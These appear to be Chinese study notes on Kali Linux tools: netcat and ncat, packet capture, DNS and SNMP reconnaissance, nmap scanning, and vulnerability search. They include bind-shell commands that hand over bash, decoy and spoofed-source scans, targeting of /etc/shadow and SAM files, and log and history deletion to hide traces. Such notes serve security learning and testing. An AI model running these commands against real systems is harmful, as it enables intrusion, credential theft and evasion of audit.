kali一些基础工具

目录

  1. netcat

netcat

https://blog.csdn.net/fageweiketang/article/details/82833193
网络工具当中的瑞士军刀
-nc指令,nc可以完成teilnet所有的工作。
1 侦听传输
2 获取banner信息
3 传输文本信息
4 加密传输文件
5 远程控制木马
6 加密所有流量
7 流媒体服务器
8 远程克隆光盘
指令参数: nc作为客户端的时候可以对服务器进行探测。
经常使用的参数:-v 显示详细的输出内容 -n 不进行dns解析(所以我们建议直接使用ip地址)

//对系数进行base64加密:
我们使用base64命令- 回车换行-要编码字符串-ctrl+d执行命令。//

我们将这段base64编码携带参数提交上去即可//注:25端口为smtp服务端口,即简单邮件传输协议,大多数服务器都使用该协议,它的作用在百度上的介绍就是黑客用来转发垃圾邮件。

同样的,我们收取邮件使用的是pop3协议,端口号为110. 80端口也同样重要:我们使用参数head/就可以获取头部。

✖有趣小游戏✖
我们可以通过nc的指令来让两台机器进行一场愉快的对话嗷:
1. 一台设为服务器,我们使用nc开放一个端口:nc -l -p 333
2. 一台就设为客户端,我们连接nc -nv 1.1.1.1 333
3. 进行交互,我们就可以实现聊天了。(^ . ^)

远程电子取证信息搜集

当我们怀疑计算机已经被攻破了,我们要进行电子取证。
!!!注意:我们在被审计的目标对象上,尽量少的修改系统的状态,避免破坏证据。
这时我们使用netcat进行监听,对于可疑的文件我们可以添加管道符,再加上nc就可以实现把反应输出到另一台服务器上完成了电子取证。ps服务器端只需要>>xxx.txt即可进行文件的写入。 -q 1 任务交互完成后一秒钟进行结束。

 options:
       -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]
        -e filename             program to exec after connect [dangerous!!]
        -b                      allow broadcasts
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -q secs                 quit after EOF on stdin and delay of secs
        -s addr                 local source address
        -T tos                  set Type Of Service
        -t                      answer TELNET negotiation
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -C                      Send CRLF as line-ending
        -z                      zero-I/O mode [used for scanning]

示例: 接收端:nc -lp 333 >1.txt //听取333端口
传递端:nc -nv 1.1.1.1 333 <2.txt -q 1
当然,接收端也可以传输文件,而传输端也可以接收文件。

tar:打包//注意不是压缩命令哦
打包文件——传输文件——打包文件
常见的命令

tar 
解包:tar xvf FileName.tar
打包:tar cvf FileName.tar DirName

(注:tar是打包,不是压缩!)

.gz
解压1:gunzip FileName.gz
解压2:gzip -d FileName.gz
压缩:gzip FileName

.tar.gz 和 .tgz
解压:tar zxvf FileName.tar.gz
压缩:tar zcvf FileName.tar.gz DirName
.bz2
解压1:bzip2 -d FileName.bz2
解压2:bunzip2 FileName.bz2
压缩: bzip2 -z FileName

.tar.bz2
解压:tar jxvf FileName.tar.bz2
压缩:tar jcvf FileName.tar.bz2 DirName
.bz
解压1:bzip2 -d FileName.bz
解压2:bunzip2 FileName.bz
压缩:未知

.tar.bz
解压:tar jxvf FileName.tar.bz
压缩:未知
.Z
解压:uncompress FileName.Z
压缩:compress FileName

.tar.Z
解压:tar Zxvf FileName.tar.Z
压缩:tar Zcvf FileName.tar.Z DirName

.zip
解压:unzip FileName.zip
压缩:zip FileName.zip DirName
.rar
解压:rar x FileName.rar
压缩:rar a FileName.rar DirName 


所以我们将目录打包发送接受包的命令参数如下

 tar -cvf - 目录名 | nc -lp 端口号 -q 1//先打包,后传送
 nc -nv ip 端口 | tar -xvf - //先进行接收,在进行解包
加密传文件
1. 先监听一个端口等待别人传文件: 
2. 文件进行加密
3. 进行连接
4. 把接收到的加密文件内容重定向到解密模块
5. 进行输出
命令参数: 
mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1  
nc -lp 333 | mcrypt --flush -Fbq -a rijndael-256 -m ecb >1.mp4

rijndael:加解密算法。
256: 密钥。 flush:将密钥进行销毁,不会在本地进行保存。
Fbq:加密参数。
Fbqd:解密的参数。

流媒体服务器
A:cat 1.mp4 | nc -lp 333
nc -nv 1.1.1.1 333 | mplayer -vo xll -cache 3000 -
端口扫描
我们只有知道对方开放了什么端口才能进行下一步策略,对每个端口进行漏洞弱点的探测。  
nc -nvz 1.1.1.1  1-65535 //默认情况下,nc探测的都是tcp端口。
nc -nvzu 1.1.1.1 1-65535 //此时我们正在探测udp端口

z:进行I/O信息交换,只是查看端口是否开放。

远程克隆硬盘
dd:硬件块级别的拷贝,把一块磁盘上的每一个位都能复制到新的硬盘上面去,我们可以在这个新的硬盘上对数据进行还原分析。
A: nc -lp 333 | dd of = / dev / sda
B:  dd if=/ dev/ sda | nc -nv 1.1.1.1 333 -q 1 //被取证电脑
1. if:输入input的文件
2. /dev/sda:被输入的硬盘
//注:在linux系统当中 第一块磁盘为sda,其中sda1是第一个主分区,sda2是第二个;第二块磁盘为sdb,sdb1是第一个主分区,sdb2是第二个主分区。 
root@kali:~# lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   60G  0 disk 
├─sda1   8:1    0 56.6G  0 part /
├─sda2   8:2    0    1K  0 part 
└─sda5   8:5    0  3.4G  0 part [SWAP]
sr0     11:0    1  2.6G  0 rom  
路径:
1. 第一个软驱:/dev/fd0
2. 第二个软驱:/dev/fd1
3. 第一个硬盘:/dev/sda
4. 第二块硬盘:/dev/sdb

文件的删除是因为磁盘的那个地方是被标记已经删除了,但事实上这些文件还是存在折,这些文件的占用会被接下来下载的文件给逐一代替,但是在没有代替之前,我们时可以使用技术手段进行还原的.

远程控制

windows上我们使用一些远程工具来进行远程控制。
在linux系统上我们一般使用ssh来进行远程控制,nc也可,但只能在一定程度上实现远程控制。 两台机器连接成功后,客户端可以把自己的bashshell传给服务端,反之,服务端也可将自己的baseshell传递给客户端,这样就可以实现双向的控制了。

nc -lp 333 -c bash //建立连接,一旦有人同nc来进行连接,就将我的bashshell通过连接传给对方。
nc -nv 1.1.1.1 333 //进行连接,此时我们在这里输入的指令,显示的都是服务端的内容了,我们就可以来进行远程操控。

网络管理员一般是不会限制从内向外的访问请求,而从外向内的访问请求进行防火墙的隔离,一些陌生的端口是不会的允许对外开放。

Nc缺乏加密和身份验证的能力,所以可能被嗅探,劫持,所有交流都会被还原。

NCAT

ncat能很好的弥补nc的不足,即加密和身份验证的能力,ncat包含在nmap当中是他的组件。

A: ncat -c bash --allow 1.1.1.1 -vnl 333 --ssl
B: ncat -nv 1.1.1.2 --ssl
//ssl在两端都要使用,从而完成完整的加密吗
//allow 表示允许的ip地址。

kali终端:
root@kali:~# ncat -c bash --allow 192.168.1.11 -vnl 333 --ssl
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: SHA-1 fingerprint: 9BDD E494 323C 7310 E15E 79EB 70C1 0119 5B41 5EEA
Ncat: Listening on :::333
Ncat: Listening on 0.0.0.0:333

root@kali:~# ncat -nv 192.168.1.111 --ssl
Ncat: Version 7.80 ( https://nmap.org/ncat )

nc上的所有功能,ncat都可以实现


WIRESHARK

https://www.cnblogs.com/mq0036/p/11187138.html 1. 抓包嗅探协议分析 2. 安全专家必备技能 3. 抓包引擎 1. libpcap9-linux 2. winpcap10-windows 4. 解码能力

通过使用wireshark进行抓包,我们可以做很多的操作,对数据包进行分析。
保存文件的时候建议使用pcap格式,这个格式是很多抓包工具都能兼容的格式.
ssl的解析是很难的,基本上是不可能的。 通过统计当中的端点我们可以查看一些信息。 wireshark通过端口来判断协议的类型,然后进行加密和解密,所以并不是一定精确的。

srcport源端口 dstport目标端口

tcpdump

https://www.cnblogs.com/chenpingzhao/p/9108570.html

tcpdump默认情况下只抓68个字节:
tcpdump -i eth0 -s 0 -w file.pcap//将输出全部输出来,并写入到文件中
tcpdump -i ehh0 port 22//抓取所有经过eth0,并且源端口或目标端口为22的目标。  
tcpdump -r file.pacp //读包抓取文件
-i 指定接口 -s 指定抓取数据包大小 -s 0 抓取全部 -w 读取写出
具体参数:
Usage: tcpdump [-aAbdDefhHIJKlLnNOpqStuUvxX#] [ -B size ] [ -c count ]
                [ -C file_size ] [ -E algo:secret ] [ -F file ] [ -G seconds ]
                [ -i interface ] [ -j tstamptype ] [ -M secret ] [ --number ]
                [ -Q in|out|inout ]
                [ -r file ] [ -s snaplen ] [ --time-stamp-precision precision ]
                [ --immediate-mode ] [ -T type ] [ --version ] [ -V file ]
                [ -w file ] [ -W filecount ] [ -y datalinktype ] [ -z postrotate-command ]
                [ -Z user ] [ expression ]

具体执行:
root@kali:~# tcpdump -i eth0 -s 0 -w a.cap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
^C71 packets captured
71 packets received by filter
0 packets dropped by kernel

文件读取:
root@kali:~# tcpdump -r a.cap
reading from file a.cap, link-type EN10MB (Ethernet)
06:04:48.373983 IP 192.168.214.1.54915 > 192.168.214.255.54915: UDP, length 263
06:04:49.377113 IP 192.168.214.1.54915 > 192.168.214.255.54915: UDP, length 263
06:04:50.380665 IP 192.168.214.1.54915 > 192.168.214.255.54915: UDP, length 263
06:04:51.376521 IP 192.168.214.1.54915 > 192.168.214.255.54915: UDP, length 263
06:04:52.377529 IP 192.168.214.1.54915 > 192.168.214.255.54915: UDP, length 263
06:04:53.381298 IP 192.168.214.1.54915 > 192.168.214.255.54915: UDP, length 263
06:04:54.383998 IP 192.168.214.1.54915 > 192.168.214.255.54915: UDP, length 263
06:04:55.376885 IP 192.168.214.1.54915 > 192.168.214.255.54915: UDP, length 263
06:04:56.380314 IP 192.168.214.1.54915 > 192.168.214.255.54915: UDP, length 263

tcpdump的筛选

假设此时我们又http.cap文件 只显示所有的ip地址并去重:
tcpdump -n -r http.cap | awk '{print $3}' | sort -u
对来源ip是145.254.169.237的包进行显示:
tcpdump -n src host 145.254.160.237 -r http.cap
对目标地址是1.1.1.1的包进行显示:
tcpdump -n dst host 1.1.1.1 -r http.cap
按端口号进行查看:
tcpdump -n -n port 53 -r http.cap
以16进制进行数据包的显示:
tcpdump -n -nX port 80 -r http.cap
awk 显示固定列
sort -u 去除重复的项
src 只显示某个固定ip的来源

tcpdump的高级筛选:tcpdump -A -n 'tcp[13]=24' -r http.cap这时候将psh与ack的换算成十进制位24的包进行了显示
注:这里是flag位。

过程文档记录

Dradis:短期临时小团队资源共享 keepnote:信息收集

被动信息搜集

公开渠道可获得的信息
与目标系统不产生直接交互
尽量避免留下一切痕迹
附:OSINT:
美军方:http://www.fas.org/irp/doddir/army/apt2-22-9.pdf
北大西洋公约组织:http://informationretrieval.info/docs/NATO-OSINT.html

信息搜集:
ip地址段
域名信息
邮件地址
文档图片数据
公司地址
公司组织架构
联系电话
人员姓名
目标系统使用技术框架
公开商业信息

用途:
通过信息构建目标系统构成
发现具体主机服务
物理缺口,及逆行物理性渗透
社会工程学攻击
信息搜集之DNS

域名:
FQDN:完全限定域名,例如xinlang.com就是一个域。 每一个域名都有一个或几个域名解析服务器,准们进行域名的解析。 根域:www.xinliang.com.//最后的这个点是被省略的但是真实存在的,这个点就是根域。 dns从这个点域发起,且本地的运营商的dns缓存服务器先询问根域服务器,根服务器返回.com的域名服务器的地址,然后dns再访问.com的域名服务器,再返回网站的域的服务器的地址,这时候example.com告诉本地的dns服务器这样就完成了递归加迭代查询。

> www.sina.com
Server:         192.168.214.2
Address:        192.168.214.2#53

Non-authoritative answer:
Name:   www.sina.com
Address: 112.90.6.240
www.sina.com    canonical name = us.sina.com.cn.
us.sina.com.cn  canonical name = spool.grid.sinaedge.com.
Name:   spool.grid.sinaedge.com
Address: 2408:8756:aff:290::65:71
> us.sina.com.cn
Server:         192.168.214.2
Address:        192.168.214.2#53

Non-authoritative answer:
us.sina.com.cn  canonical name = spool.grid.sinaedge.com.
Name:   spool.grid.sinaedge.com
Address: 112.90.6.240
Name:   spool.grid.sinaedge.com
Address: 2408:8756:aff:290::65:71
> spool.grid.sinaedge.com
Server:         192.168.214.2
Address:        192.168.214.2#53

Non-authoritative answer:
Name:   spool.grid.sinaedge.com
Address: 112.90.6.240
Name:   spool.grid.sinaedge.com
Address: 2408:8756:aff:290::65:71

canonical name:别名记录
DNS 系统在查询CNAME左面的名称的时候,都会转向CNAME右面的名称再进行查询,一直追踪到最后的PTR或A名称,成功查询后才会做出回应,否则失败。
op_hxc* 14:31:36
DNS 系统在查询CNAME左面的名称的时候,都会转向CNAME右面的名称再进行查询,一直追踪到最后的PTR或A名称,成功查询后才会做出回应,否则失败。

op_hxc* 14:33:04
A记录: 将域名指向一个IPv4地址(例如:100.100.100.100),需要增加A记录

CNAME记录: 如果将域名指向一个域名,实现与被指向域名相同的访问效果,需要增加CNAME记录。这个域名一般是主机服务商提供的一个域名

MX记录: 建立电子邮箱服务,将指向邮件服务器地址,需要设置MX记录。建立邮箱时,一般会根据邮箱服务商提供的MX记录填写此记录

NS记录: 域名解析服务器记录,如果要将子域名指定某个域名服务器来解析,需要设置NS记录

TXT记录: 可任意填写,可为空。一般做一些验证记录时会使用此项,如:做SPF(反垃圾邮件)记录

AAAA记录: 将主机名(或域名)指向一个IPv6地址(例如:ff03:0:0:0:0:0:0:c1),需要添加AAAA记录

SRV记录: 添加服务记录服务器服务记录时会添加此项,SRV记录了哪台计算机提供了哪个服务。格式为:服务的名字.协议的类型(例如:_example-server._tcp)。

SOA记录: SOA叫做起始授权机构记录,NS用于标识多台域名解析服务器,SOA记录用于在众多NS记录中那一台是主服务器

PTR记录: PTR记录是A记录的逆向记录,又称做IP反查记录或指针记录,负责将IP反向解析为域名

显性URL转发记录: 将域名指向一个http(s)协议地址,访问域名时,自动跳转至目标地址。例如:将www.liuht.cn显性转发到www.itbilu.com后,访问www.liuht.cn时,地址栏显示的地址为:www.itbilu.com。

隐性UR转发记录L: 将域名指向一个http(s)协议地址,访问域名时,自动跳转至目标地址,隐性转发会隐藏真实的目标地址。例如:将www.liuht.cn显性转发到www.itbilu.com后,访问www.liuht.cn时,地址栏显示的地址仍然是:www.liuht.cn。

当我们想要查找固定的域名服务器的时候,对应的某项服务的dns服务器,我们需要加上 set  type=xxx然后加上ip地址。

我们可以使用dig,他比nslookup更加强大且解析的效果是一样的。

参考文献https://www.cnblogs.com/ginvip/p/6365605.html
https://blog.csdn.net/App_IOS/article/details/86893929

root@kali:~# dig sina.com any @8.8.8.8

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> sina.com any @8.8.8.8
;; global options: +cmd
;; Got answer:
;; ->>HEADER<
我们使用dig进行反向查询

已知ip地址解析出域名

root@kali:~# dig 163.com mx

; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> 163.com mx
;; global options: +cmd
;; Got answer:
;; ->>HEADER<> DiG 9.11.5-P4-5.1+b1-Debian <<>> 163mx01.mxmail.netease.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<> DiG 9.11.5-P4-5.1+b1-Debian <<>> -x 220.181.14.142
;; global options: +cmd
;; Got answer:
;; ->>HEADER<

dig可以查探dns服务器的版本: dig noall answer txt chaos VERSION.BIND @ns3.dnsv4.com//查dns服务器bind版本。 //bind的类是chaos,以txt形式 //我们要查的dns服务器为:ns3.dnsv4.com
接下来我们可以查看当前版本是否是最新的版本,不是的话,过往有什么漏洞。

dns区域传输

适用于当我们想要知道一个域里面所有的主机记录。
https://blog.csdn.net/qq_36061616/article/details/89350530

dig @ns1.example.com example.com axft
指定从ns1.example.com这个服务器,然后从example.com这个域进行文件传输,传输的方法叫axfr。
# dig 最基本的用法
dig @server qianlong.com
# 用 dig 查看 zone 数据传输
dig @server qianlong.com AXFR
# 用 dig 查看 zone 数据的增量传输
dig @server qianlong.com IXFR=N
# 用 dig 查看反向解析
dig -x 124.42.102.203 @server
# 查找一个域的授权 dns 服务器
dig  qianlong.com +nssearch
# 从根服务器开始追踪一个域名的解析过程
dig  qianlong.com +trace
# 查看你使用的是哪个 F root dns server
dig +norec @F.ROOT-SERVERS.NET HOSTNAME.BIND CHAOS TXT
# 查看 bind 的版本号
dig @bind_dns_server CHAOS TXT version.bind
dns字典爆破
fierce -dnsserver 8.8.8.8 -dns sina.com.cn -wordlist /usr/share/fierce/hosts.txt
dnsdict6 -d4 -t 16 -x sina.com
dnsenum -f  -dnsserver 8.8.8.8 sina.com -o sina.xml  
-o 导出为文件 -f 指定字典 -dnsserver指定服务器 
dnsmap sina.com -w dns.txt
dnsrecon -d sina.com --lifetime 10 -t brt -D /usr/share/dnsrecon/namelist.txt
//--lifetime 10 超时时间 //t:破解方式
dnsrecon详解

dnsrecon是一款多线程、支持爆破、支持多种DNS记录查询、域传送漏洞检测、对IP范围查询、检测NS服务器缓存、结果可保存为多种格式的工具。

dnsrecon

	语法: dnsrecon.py 

	选项:

	   -h, --help                                       打印帮助信息并退出

	   -d, --domain                目标域名

	   -r, --range                       对给定格式的IP范围进行爆破,格式为(开始IP-结束IP)或(范围/掩码).

	   -n, --name_server           指定一个域名服务器

	   -D, --dictionary                   用来爆破的子域名与主机名字典文件

	   -f                                                   在保存结果时忽略枚举域查找结果

	   -t, --type            指定枚举类型:

	                                std                如果NS服务器的域传送失败,进行SOA、NS、A、AAAA、MX 和 SRV的枚举(必须使用-d参数指定域名才可使用此参数)

	                                rvl                 对给定的IP范围或CIDR进行反向查找(必须使用-r指定IP范围)

	                                brt                使用指定的字典爆破域名与主机名

	                                srv                枚举SRV记录

	                                axfr               对所有的NS服务器进行域传送测试

	                                goo               对子域名和host进行Google搜索

	                                snoop           对-D选项给出的文件进行DNS服务器缓存侦测

	                                tld                 删除给定域的TLD并测试在IANA中注册的所有的TLD

	                                zonewalk      使用NSEC记录进行DNSSEC域漫游

	   -a                          在标准枚举过程中进行空间域传送测试

	   -s                          在标准枚举过程中进行IP地址范围的反向查找

	   -g                         在标准枚举的过程中进行Google枚举

	   -w                         在标准枚举的过程中进行深度whois查询和IP反查

	   -z                          在标准枚举的过程中进行DNSSEC域漫游

	   --threads                指定线程数

	   --lifetime               指定查询等待的时间

	   --db                               将结果存储为sqlite3数据库的文件

	   --xml                              将结果存储为XML格式的文件

	   --iw                                          即使发现了通配符也依然爆破

	   -c, --csv                          CSV格式的文件

	   -j, --json                         json文件

	   -v                                             显示爆破的过程

RECON-NG工具

全特性的web侦察框架,且基于python开发的。 、 我们所有关于信息搜集的都可以使用recon-ng进行完成,包括报告集生成。

二层发现

https://www.cnblogs.com/nul1/p/8732761.html
附:关于linux系统当中cut指令的用法:https://blog.csdn.net/yangshangwei/article/details/52563123
arping:二层协议,我们可以使用wireshark进行抓包查看。 netdiscover:专用于主动发现,可用于无线和交换网络环境,分为主动和被动探测。

主动:netdiscover -i eth0 -r 1.1.1.0/24
     netdiscover -l iplist.txt
被动:netdiscover -p
我们使用主动arp是容易触发报警的。

scapy:作为python库进行调用,也可以作为单独的工具使用,抓包,分析,创建,修改注入网络流量。

>>> sr1(ARP(pdst="192.168.214.1"),timeout=1,verbose=1)
Begin emission:
Finished sending 1 packets.

Received 1 packets, got 1 answers, remaining 0 packets
>> //这里是一行命令进行输出。

>>> sr1(ARP(pdst="192.168.214.4"),timeout=1,verbose=1)
Begin emission:
WARNING: Mac address to reach destination not found. Using broadcast.
Finished sending 1 packets.//这里是加上了报错的参数目的就是为了防止

完整分布步骤:
ARP().display()
>>> arp=ARP()
>>> arp.display()
>>>arp.pdst="192.168.1.1"
>>> sr1(arp)

scapy进行三层发现
>>> i=IP()
>>> p=ICMP()
>>> i.display()
>>>i.dst="192.168.214.1"
>>>sr1(i)
>>> answer=sr1(i)
>>> answer.display()

最后输出结果:
>>> answer.display()
###[ IP ]### 
  version= 4
  ihl= 5
  tos= 0x0
  len= 48
  id= 49166
  flags= 
  frag= 0
  ttl= 128
  proto= icmp
  chksum= 0x4ce9
  src= 192.168.214.2
  dst= 192.168.214.129
  options
###[ ICMP ]### 
     type= dest-unreach
     code= protocol-unreachable
     chksum= 0xfcfd
     reserved= 0
     length= 0
     nexthopmtu= 0
###[ IP in ICMP ]### 
        version= 4
        ihl= 5
        tos= 0x0
        len= 20
        id= 1
        flags= 
        frag= 0
        ttl= 64
        proto= hopopt
        chksum= 0x22af
        src= 192.168.214.129
        dst= 192.168.0.104
        options
ping

https://www.runoob.com/linux/linux-comm-ping.html

fping

https://blog.csdn.net/wz_cow/article/details/80967255

fping -g 192.168.1.1 192.168.1.200 -c 1从1到200都发一个包
fping -a -g 192.168.1.1/24  扫描内网
参数解释:

-g : 指定一个范围 (group)

-u : 显示不存活的(unreacheable)。和-a 是取反的效果

-a                               显示可ping通的目标

-A                               将目标以ip地址的形式显示

-b                          ping 数据包的大小。(默认为56)

-B                            设置指数反馈因子到f

-c                          ping每个目标的次数 (默认为1)

-C                          同-c,返回的结果为冗长格式

-e                               显示返回数据包所费时间

-f                         从文件获取目标列表( – 表示从标准输入)(不能与 -g 同时使用)

-g                              通过指定开始和结束地址来生成目标列表

-i                         设置ip的TTL值 (生存时间)

-l                               循环发送ping

-m                               ping目标主机的多个网口

-n                               将目标以主机名或域名显示(等价于 -d )

-p                          对同一个目标的ping包间隔(毫秒) (在循环和统计模式中,默认为1000)

-q                               安静模式(不显示每个目标或每个ping的结果)

-Q                          同-q, 但是每n秒显示信息概要

-r                          当ping失败时,最大重试次数(默认为3次)

-s                               打印最后的统计数据

-t                          单个目标的超时时间(毫秒)(默认500)

-u                               显示不可到达的目标

-v                               显示版本号

四层发现

  1. 可路由且结果可靠
  2. 不太可能被防火墙进行屏蔽
  3. 甚至可以发现所有端口都被过滤的主机
  4. 基于状态过滤的防护墙可能过滤扫描
  5. 全端口扫描篇速度慢
TCP

未经请求的ACK--RST SYT--SYN/ACK,RST 一般来说有完整的三次握手的话就会返回SYN,一旦只有一个ack的包的话端口是可以拒绝的返回rst

UDP

ICMP端口不可达,一去不复返 ` i=IP()

i.dst=1.1.1.1 
t=TCP()
t.flags='A'
r=(i/t)
a=sr1(r)
a.display

` 我们使用scapy来探测没有开放的端口: a=sr1(IP(dst="192.168.214.135")/TCP(flags="S",dport=2222),timeout=1,verbose=0)

nmap及端口扫描

使用hping进行端口扫描:root@kali:~# hping3 192.168.214.135 --scan 1-100 -S
以上是进行隐秘探测,不进行完整的三次握手连接,完整的三次握手是全连接端口扫描如果有网络层的防护的话是会被发现的,然后禁止。

scapy

scapy进行全连接扫描是比较困难的,因为由于系统内核的原因,会进制这些莫名其妙的SYN+ACK请求(因为这些包是我们发的不是系统发的)a=sr1(IP(dst="192.168.214.135")/TCP(flags="S",dport=2222),timeout=1,verbose=0)

nmap

nmap全连接扫描:nmap -sT 192.168.214.135 -p 1-100

dmitry

dmitry -p 192.168.214.135

隐蔽扫描

不建立完整链接 应用日志不记录扫描行为

僵尸扫描

极度隐秘
实施条件苛刻
可伪造源地址
选择僵尸机
我们通过对僵尸机的ipid是加1还是加2来判断目标端口是否是开放的状态。
使用scapy实现

i=IP()
t=TCP()
rz=(i/t)
rt=(i/t)
rz[IP].dst="192.168.214.135"
rz[TCP].dport=445
rz[TCP].flags="SA"

rt[IP].src="192.168.214.135"
rt[IP].dst="192.168.214.135"
rt[TCP].dport=25
rt[TCP].flags="S"

az1=sr1(rz)
at=sr1(rt.timeout=1)
ar2=sr1(rz)

服务扫描

识别开放端口上运行的应用 识别目标操作系统
提高攻击效率
banner获取
服务识别
操作系统识别
SNMP分析
防火墙识别

banner信息获取

amap -B 192.168.214.135 1-100
amap 192.168.214.135 1-100 -qb
nc -nv 192.168.214.135 80
nmap -sT 192.168.214.135 -p1-100 --script=banner.nse
nmap 192.168.214.135 -p 1-100 -sV

操作系统扫描

nmap 192.168.214.135 -O xprobe2 192.168.214.135 被动

snmp扫描

snmp是消息的金矿,但是经常被错误配置,分为pubic/private/manager。
MIBtree:树形网络设备管理功能数据库,每一个不同的设备都有他的不同的序列号。 参数:onesixtyone:1.1.1.1 public 字典爆破:onesixtyone -c dict.txt -i hosts -o my.log -w 100 snmpcheck:可以查找很多jiyusnmp的信息 snmpwalk 192.168.214.135 -c public -v 2c

smb扫描

https://blog.csdn.net/qq_23997471/article/details/82380780
nmap -v -p139,445 --script=smb-vuln-*.nse --script-args=unsafe=1 192.168.214.135
nmap 192.168.214.135 -p135,445 --script=smb-os-discovery.nse
nbtscan -r 192.168.214.135
enum4linux -a 192.168.214.135
nmap smtp.163.com -p25 --script=smtp-enum-users.nse --script-args=smtp-enum-users.methods={VRFY} ##扫描用户账户,指定方式为{VRFY}
nmap smtp.163.com -p25 --script=smtp-open-relay.nse #扫描是否开启中继(如果开启邮件中继的话,所有人都可以使用邮件中继,甚至做一些非法的事情)

负载均衡

lbd mail.163.com
nmap www.microsoft.com --script=http-waf-detect.nse

防火墙探测

nmap www.microsoft.com --script=http-waf-detect.nse
wafw00f https://www.microsoft.com

nmap详细参数

主机发现参数

随机挑选地址进行端口探测:nmap -iR 100 -p22 --open
排除某一段地址进行扫描:nmap 192.168.214.0/24 --exclude 192.168.214.1-100//排除了1到100这个地址段。
进行某一段的扫描:nmap -sL 192.168.214.0/26
不进行端口扫描:nmap -sn 192.168.214.135
想要彻底地进行扫描的话,全端口进行扫描:nmap -Pn 192.168.214.135//因为有时候防火墙的存在,nmap会以为该主机不存活就不进行探测了。
PS/PA/PU/PY:SYN方式发现/ACK方式发现/UDP方式发现/SCTP方式发现。
PE/PP/PM:使用icmp的echo探测/时间戳进行探测/查对方子网掩码。
-PO/-n/R:ip协议的ping/不做dns解析/进行反向的解析。
--dns-servers:不使用默认的dns服务器,使用指定的dns服务器。
进行远程查询探测网络路径:nmap www.qq.com --traceroute -p80

端口发现

-sS/sT/sA/sW/sM:SYN扫描/TCP扫描,建立完整三次握手,最完整准确/通过ACK进行扫描/TCP窗口扫描/Maimon扫描//就是不同的TCP的flags组合。
UDP进行扫描:nmap -sU 192.168.214.135 -p1-100。
sN/sF/sX:TCP FLAGS为空的扫描/FIN扫描/Xmas扫描。
-sI:进行僵尸机器扫描。
-sO/-b:ip扫描/ftp中继扫描。

指定端口

-p默认都扫,想要指定TCP和UDP可以加上参数U/T即: -p U:53 192.168.214.135 -r:按照顺序端口进行扫描,不会随机进行扫描.
nmap 192.168.214.135 --top-ports 10只扫排在前十个的端口。
--port-ratio扫描常用端口

服务探测

-sV探测开放端口提供的服务 当我们探测的时候拿不定主意时,我们可以加上扫描强度:--version-instensity

脚本扫描

-sC=--script=dafult
噪声扫描:nmap -D 192.168.214.134,192.168.214.133,192.168.214.111 192.168.214.135 生成大量虚假的扫描包,然后把我们真实的ip给掩护掉 伪造源地址进行扫描:nmap -S 192.168.1.1 -e eth0 192.68.214.135
使用指定的源端口:nmap -g10000 192.168.214.33 --data 十六进制字符串,为我们的包数据字段中加上指定的字段。
也可以进行欺骗:nmap 192.168.214.135 -p22 --spoof-mac 00:11:11:11:11:11

漏洞扫描

发现漏洞:
1. 基于端口服务扫描结果版本信息。
2. 搜索已公开的漏洞数据库。
3. 使用弱点扫描器实现漏洞狗管理。
https://www.exploit-db.com/
我们可以查看到一些漏洞的攻击利用代码。
root@kali:~# searchsploit tomcat在kali自带的tomcat漏洞·工具集。
当然我们把也可以目录索引:root@kali:/usr/share/exploitdb/shellcodes

弱点扫描

主动扫描:
1. 有身份验证
2. 无身份验证
被动扫描
1. 镜像端口抓包
2. 其他来源输入
基于Agent扫描
1. 支持平台有限

NMAP:
root@kali:/usr/share/nmap/scripts# less script.db

主动扫描与被动扫描都没有对目标系统进行登录。

CVSS
  1. 通用漏洞评分系统

OVAL:描述漏洞检测方法的机器可识别语言,详细的描述漏洞检测的技术细节,可导入自动化检测工具中实施漏洞检测工作,且使用XML语言描述,包含了严密的语法逻辑。
CCE:描述软件配置缺陷的一种标准化格式,在信息安全风险评估当中,配置缺陷检测很重要,使用cce可以让配置缺陷以标准方式展现出来,便于配置缺陷评估的可量化操作。 Nessus扫描: 启动方式:root@kali:~# /etc/init.d/nessusd start 网站:https://127.0.0.1:8834

基本信息搜集

linux

/etc/resolv.conf查看dns配置
/etc/passwd查看用户账号
/etc/shadow查看用户密码
whoami ,who -a查看当前登录用户
ifconfig -a , iptables -L -n//查看防火墙设置 ,netatat -rn//查看当前系统网关路由设置,查看其它网段
uname -a , ps aux//查看当前操作系统版本,把当前所有进程列出来
dpkg -l | head//列出当前操作系统所有安装的软件包

windows

ipconfig/all,ipconfig/displaydns,netstat -bnao,netstat -r
net view ,net view /domain
net user/domain , net user %username%/domain net accounts , netshare//查看机器开启共享 net loaclgroup administrators username / add//操作命令 net group "Domain Controllers" /domain//可以查看域控制器的域里面所有用户账号,要确定谁是域的主机。 net share name$=c:/unlimited//操作命令,开启共享,把c盘最大前线的共享出来 net user username /active:yes /domain//把某一用户的锁定状态给启动,但是要有管理员权限。

wmic

https://blog.csdn.net/icanlove/article/details/37566923

收集敏感数据
  1. 商业信息
  2. 系统信息
  3. linux: /etc ;/usr/local/etc;/etc/passwd;/etc/shadow;.ssh;.gnupg公私钥,很重要要保管好;邮件数据;业务数据库:身份认证服务器数据库;/tmp。
  4. windows: SAM数据库:注册表文件 。%SYSTEMROOT%REPAIRSAM; %SYSTEMROOT%、System32configRegBackSAM; 业务数据库;身份认证数据库;临时文件目录; UserOrofileAppDataLocalMicrosoftWindowsTemporary Internet Files ;
隐藏痕迹

禁止在登录界面显示新建账号; del%WINDIR%*.LOG /A/S/Q/F;//删除日志 history -c 删除了历史命令 //附chattr命令https://www.cnblogs.com/ftl1012/p/chattr.html; 日志:auth.og/secure;btmp/wtmp;lastlog/faillog.

web渗透

